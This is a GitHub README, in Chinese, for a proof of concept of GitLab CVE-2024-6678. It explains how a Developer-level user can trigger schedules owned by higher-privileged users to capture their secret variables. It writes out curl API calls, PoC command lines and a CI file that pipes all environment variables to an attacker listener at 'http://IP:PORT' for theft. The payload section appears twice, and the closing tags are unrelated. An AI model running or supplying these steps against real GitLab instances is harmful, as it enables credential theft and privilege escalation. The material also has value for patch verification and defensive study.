FaLLenSKiLL1/CVE-2024-6678
GitHub: FaLLenSKiLL1/CVE-2024-6678
GitLab CVE-2024-6678 漏洞的概念验证工具,用于验证 Developer 权限用户可越权触发高权限用户创建的 CI/CD 计划任务并获取敏感环境变量的问题。
Stars: 4 | Forks: 1
# CVE-2024-6678 - GitLab: Pipeline Schedule 任意用户触发
CVE-2024-6678 的 PoC
## 漏洞描述
GitLab 允许用户通过“Play”按钮手动触发 CI/CD pipeline 的计划任务 (Pipeline Schedules)。该漏洞在于“play”功能允许**任何具有 Developer 权限的用户**(而不仅仅是计划的创建者)触发计划。这会导致两个后果:
1. Developer 可以触发由更高权限用户(Maintainer / Owner)创建和配置的计划。
2. 触发的 pipeline 会继承该计划中的环境变量(包括敏感变量),尽管 Developer 没有通过 API 查看这些变量的权限。
最终造成的影响取决于计划变量中存储的内容。例如,变量 `DB_PASSWORD` 会让攻击者有机会对数据库进行完整导出,而 `SSH_PRIVATE_KEY` 则可能导致获取 RCE 权限。
## 复现步骤
### 前置条件
- GitLab CE/EE,版本介于 8.14 至 17.1.6 / 17.2.4 / 17.3.1 之间
- 攻击者账号在目标项目中具有 **Developer** 权限
- 项目中至少存在一个处于激活状态的 pipeline 计划
- 该计划针对的是**未受保护的**分支(例如 `develop`、`staging`)——或者项目中存在使用短格式 ref 的计划(绕过限制)
### 步骤 1. 获取计划列表
```
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
| python3 -m json.tool
```
找到属于更高权限用户(Maintainer/Owner)的计划。
### 步骤 2. 触发计划
```
curl -s -X POST \
-H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"
```
**预期响应**:HTTP 201 — pipeline 已加入队列。
该 pipeline 会**以攻击者的身份** (`current_user`) 创建,但会带有该计划的所有变量(这些变量可能包含由所有者配置的 API 密钥、token、credentials 等)。
### 步骤 3. 验证以攻击者身份创建的 pipeline
```
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
| python3 -m json.tool | grep -E '"id"|"status"|"username"'
```
## PoC 使用方法
```
# 基础运行:自动选择 schedule
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42
# 指定具体 schedule
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--schedule-id 7
# 通过 GraphQL(需要 --project-path)
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--graphql \
--project-path "mygroup/myrepo"
# 检查 legacy-ref bypass
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--exploit-mode
```
在触发 PoC 之前,它会将 develop 分支上的 `.gitlab-ci.yml` 替换为以下内容:
stages: [exfil]
dump_vars:
stage: exfil
script:
- env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-
所有这些数据都会发送到你的监听器上
## 相关链接
- [GitLab 安全公告](https://about.gitlab.com/releases/2024/09/11/patch-release-gitlab-17-3-2-released/)
- [NVD: CVE-2024-6678](https://nvd.nist.gov/vuln/detail/CVE-2024-6678)
在触发 PoC 之前,它会将 develop 分支上的 `.gitlab-ci.yml` 替换为以下内容:
stages: [exfil]
dump_vars:
stage: exfil
script:
- env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-
所有这些数据都会发送到你的监听器上
## 相关链接
- [GitLab 安全公告](https://about.gitlab.com/releases/2024/09/11/patch-release-gitlab-17-3-2-released/)
- [NVD: CVE-2024-6678](https://nvd.nist.gov/vuln/detail/CVE-2024-6678)标签:GitLab, Maven, StruQ, 协议分析, 安全助手, 权限提升, 漏洞验证, 逆向工具